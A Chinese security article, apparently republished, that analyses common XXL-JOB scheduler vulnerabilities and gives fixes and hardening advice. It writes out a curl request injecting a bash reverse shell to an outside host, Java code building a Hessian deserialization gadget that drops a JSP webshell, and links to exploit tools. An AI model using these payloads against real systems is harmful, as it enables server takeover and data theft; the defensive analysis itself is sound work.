当前位置: 首页 > news >正文

XXL-JOB框架SRC高频漏洞分析总结

文章目录

    • 前言
    • 一、核心漏洞分类与技术细节
    • 二、漏洞关联利用与攻击路径
    • 三、版本演进与修复策略
    • 四、安全运维建议
    • 五、典型漏洞复现环境搭建
    • 六、总结

前言

XXL-JOB是国内主流的开源分布式任务调度框架,由徐雪里开发维护,以轻量易用、高可用、适配分布式场景等特性,广泛应用于互联网、金融等行业,承担定时任务调度、批量数据处理等核心业务。

其架构核心为“调度中心(负责任务配置与触发)”与“执行器(负责任务实际运行)”,二者协同实现分布式任务管理。随着其部署范围扩大,低版本因安全设计不足,暴露出API未授权访问、默认弱口令、反序列化注入等高频漏洞,成为安全响应中心(SRC)常见安全事件诱因,可能导致服务器被控、业务数据泄露等严重后果。本文档即针对这些高频漏洞展开深度分析,为安全防护提供参考。

一、核心漏洞分类与技术细节

  1. API未授权访问漏洞(<=2.2.0)

    • 漏洞原理:调度中心的/api接口未启用身份认证机制,攻击者可直接调用任务触发、日志查询等敏感接口。例如,通过构造POST请求调用/api/trigger接口,传入恶意参数即可执行任意系统命令。
    • 利用场景:攻击者通过FOFA等工具搜索暴露的API接口,发送包含glueType=GLUE_SHELLexecutorParam=bash -i >& /dev/tcp/attacker_ip/port 0>&1的请求,直接获取服务器权限。
    • 修复方案
      • 配置xxl.job.accessToken并在调度中心与执行器保持一致。
      • 升级至2.3.0+版本,启用接口权限校验模块。
  2. Executor未授权访问漏洞(<=2.2.0)

    • 漏洞本质:执行器默认监听9999端口且未配置访问控制,攻击者可直接调用RESTful API执行命令。例如,发送POST请求至/run接口,携带cmd=whoami即可获取系统信息。
    • 版本差异
      • 2.2.0以下版本:直接通过HTTP接口执行命令。
      • 2.2.0以上版本:需结合Hessian协议和未修改的accessToken进行攻击。
    • 防御措施
      • 关闭公网对9999端口的访问,仅允许调度中心IP通信。
      • 配置防火墙规则,限制来源IP范围。
  3. 默认登录密码漏洞(全版本)

    • 风险现状:默认账号密码为admin/123456,且2.1.1版本前可设置超过18位密码导致登录失败。攻击者通过弱口令爆破或社工手段获取权限后,可创建恶意任务实现RCE。
    • 利用链
      • 爆破登录:使用Burp Suite加载弱口令字典进行暴力破解。
      • 任务植入:登录后创建GLUE类型任务,写入反弹Shell代码。
    • 加固建议
      • 强制修改默认密码,采用大小写字母+数字+特殊符号的组合。
      • tables_xxl_job.sql中修改初始化密码的MD5值。
  4. Hessian反序列化漏洞(<=2.1.2)

    • 技术背景:调度中心使用Hessian协议进行远程调用,低版本未对输入数据进行有效过滤,导致反序列化漏洞。攻击者构造包含恶意类的序列化数据,触发任意代码执行。
    • 利用方式
      • 构造POC:使用SwingLazyValue结合JavaUtils.writeBytesToFilename写入恶意文件。
      • 内存马植入:通过反序列化注入冰蝎或哥斯拉内存马,实现持久化控制。
    • 修复方案
      • 升级至2.2.0+版本,移除危险的反序列化入口点。
      • 禁用Hessian协议,改用HTTP+JSON通信。

二、漏洞关联利用与攻击路径

  1. 组合攻击示例

    • 步骤1:SSRF获取AccessToken(CVE-2022-43183)
      • 攻击者通过调度中心/log/cat接口构造SSRF请求,获取执行器的accessToken
    • 步骤2:Executor命令执行
      • 使用窃取的accessToken向执行器发送请求,调用/run接口执行命令。
    • 步骤3:横向渗透
      • 利用获取的服务器权限,扫描内网其他XXL-JOB实例,复用漏洞进行扩散。
  2. 典型攻击载荷

    • 反弹Shell(API未授权)

      curl -X POST "http://target:8080/xxl-job-admin/api/trigger" \
      -H "Content-Type: application/json" \
      -d '{"jobId":1,"executorParam":"bash -i >& /dev/tcp/1.1.1.1/4444 0>&1"}'
      
    • Hessian反序列化(内存马)

      // 生成恶意序列化数据
      UIDefaults uiDefaults = new UIDefaults();
      uiDefaults.put("key", new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/shell.jsp", payloadBytes}));
      Hessian2Output output = new Hessian2Output(new FileOutputStream("poc.ser"));
      output.writeObject(uiDefaults);
      output.close();
      

三、版本演进与修复策略

漏洞类型影响版本修复版本核心变更点
API未授权访问<=2.2.02.3.0+增加accessToken校验模块,限制接口访问权限
Executor未授权<=2.2.02.2.1+引入RESTful API权限控制,默认关闭公网访问
默认登录密码全版本2.1.1+前端限制密码长度,后台加强密码复杂度校验
Hessian反序列化<=2.1.22.2.0+移除jetty容器中的反序列化入口,改用安全通信协议
SSRF漏洞<=2.3.12.4.0+过滤executorAddress参数,禁止自定义目标地址

四、安全运维建议

  1. 基础防护

    • 网络隔离:调度中心与执行器采用内网通信,关闭公网对9999端口的暴露。
    • 最小化原则:禁用不必要的API接口,仅开放管理后台的8080端口。
  2. 动态监测

    • 流量分析:通过WAF检测包含bashcurlwget等关键词的请求。
    • 日志审计:监控调度中心的登录日志和任务执行日志,及时发现异常操作。
  3. 版本管理

    • 定期检查:使用mvn dependency:treegradle dependencies命令,确认XXL-JOB及依赖库版本。
    • 自动更新:在CI/CD流程中集成版本扫描工具(如OWASP Dependency-Check),发现漏洞立即触发升级。

五、典型漏洞复现环境搭建

  1. 环境配置

    • 下载xxl-job-2.1.2源码,修改application.properties中的数据库连接信息。
    • 启动MySQL服务,执行tables_xxl_job.sql初始化表结构。
    • 编译并运行调度中心和执行器,开放8080和9999端口。
  2. 漏洞验证

    • Hessian攻击:使用curl发送包含序列化数据的请求:

      curl -X POST "http://localhost:8080/xxl-job-admin/api" \
      -H "Content-Type: x-application/hessian" \
      --data-binary @poc.ser
      
    • Executor命令执行:直接访问http://localhost:9999/run?cmd=id,验证响应是否包含用户信息。

攻击方式参考:

https://xz.aliyun.com/news/13339
https://forum.butian.net/share/2592
https://github.com/charonlight/xxl-jobExploitGUI/blob/main/README.md

六、总结

XXL-JOB的低版本漏洞多源于设计缺陷和配置不当,攻击者通过未授权访问、反序列化等手段可轻易获取服务器控制权。

建议企业采取"主动防御+动态监测+版本迭代"的三层防护体系,及时修复漏洞并强化访问控制。

同时,开发者应遵循安全编码规范,在远程调用、数据解析等关键环节引入严格的输入校验机制,从源头降低安全风险。


文章转载自:

http://UK0sZdEx.yrctp.cn
http://zFCx9Z9W.yrctp.cn
http://rFCrceIF.yrctp.cn
http://kpiGJmv4.yrctp.cn
http://oLEyBPtU.yrctp.cn
http://qcFTwlJE.yrctp.cn
http://UXnY5LaV.yrctp.cn
http://q2CGSeuD.yrctp.cn
http://ZihICY9e.yrctp.cn
http://sCRyWbmz.yrctp.cn
http://klxjWQcS.yrctp.cn
http://DFKpczK8.yrctp.cn
http://GM8zIWCc.yrctp.cn
http://9Q3mW8su.yrctp.cn
http://vjc5Nv7q.yrctp.cn
http://9EbvJKII.yrctp.cn
http://sDDxlwNO.yrctp.cn
http://Nuopifqk.yrctp.cn
http://9fv0SxRN.yrctp.cn
http://YTG9tCBM.yrctp.cn
http://P5oXc8vZ.yrctp.cn
http://FMlCh756.yrctp.cn
http://Vwrpz1wZ.yrctp.cn
http://cbLIlzIS.yrctp.cn
http://iK9QCUGN.yrctp.cn
http://ZzX8yuBg.yrctp.cn
http://qDtEr2lI.yrctp.cn
http://9GepiBny.yrctp.cn
http://S2KY4oFh.yrctp.cn
http://iRI1XODp.yrctp.cn
http://www.dtcms.com/a/380680.html

相关文章:

  • 未启用Spring事务管理 执行mapper.xml文件的sql,为什么会自动提交
  • 亚马逊云代理:亚马逊云怎么样进行大规模数据分析与处理?
  • Linux防火墙iptables
  • 基于联邦学习与神经架构搜索的可泛化重建:用于加速磁共振成像|文献速递-最新医学人工智能文献
  • 如何将 Wine 应用包转换成玲珑格式包:完整技术教程
  • 函数库 动静态库
  • EPC企业如何通过数字化管理提高盈利能力?
  • P2678 [NOIP 2015 提高组] 跳石头
  • 旋转位置编码的论文阅读
  • UE5 基础应用 —— 08 - 动画蓝图 简单使用
  • unity pcd 二进制版 简单显示文件对象(单色)
  • 面试题:Redis要点总结(复制、哨兵、集群)
  • Leetcode 18 java
  • Redis集群为何采用16384个槽的设计?
  • 《树与二叉树详解:概念、结构及应用》
  • Certimate SSL证书自动申请部署
  • 《Spring事务的失效》
  • Maya绑定:小球挤压拉伸变形详细绑定(晶格、簇、测量工具、节点编辑器)
  • 【比亚迪璇玑架构深度解析:重新定义智能电动汽车的“整车智能”】
  • jdbc DAO封装及BaseDAO工具类
  • jajajajajajajava
  • 自动生成链接
  • LeetCode 3258.统计满足K约束的子字符串数量 I
  • “量子能量泵”:一种基于并联电池与电容阵的动态直接升压架构
  • fastapi 使用本地资源自定义swagger文档
  • Vue FullPage.js 完整使用指南:Vue 3 官方全屏滚动解决方案
  • ARM IRQ中断
  • Ruoyi-vue-plus-5.x第八篇文件管理与存储: 8.2 OSS云存储集成
  • 解决:NVIDIA-SMI couldn‘t find libnvidia-ml.so library in your system.
  • 【LLM】VLLM:容器运行 ModelScope 模型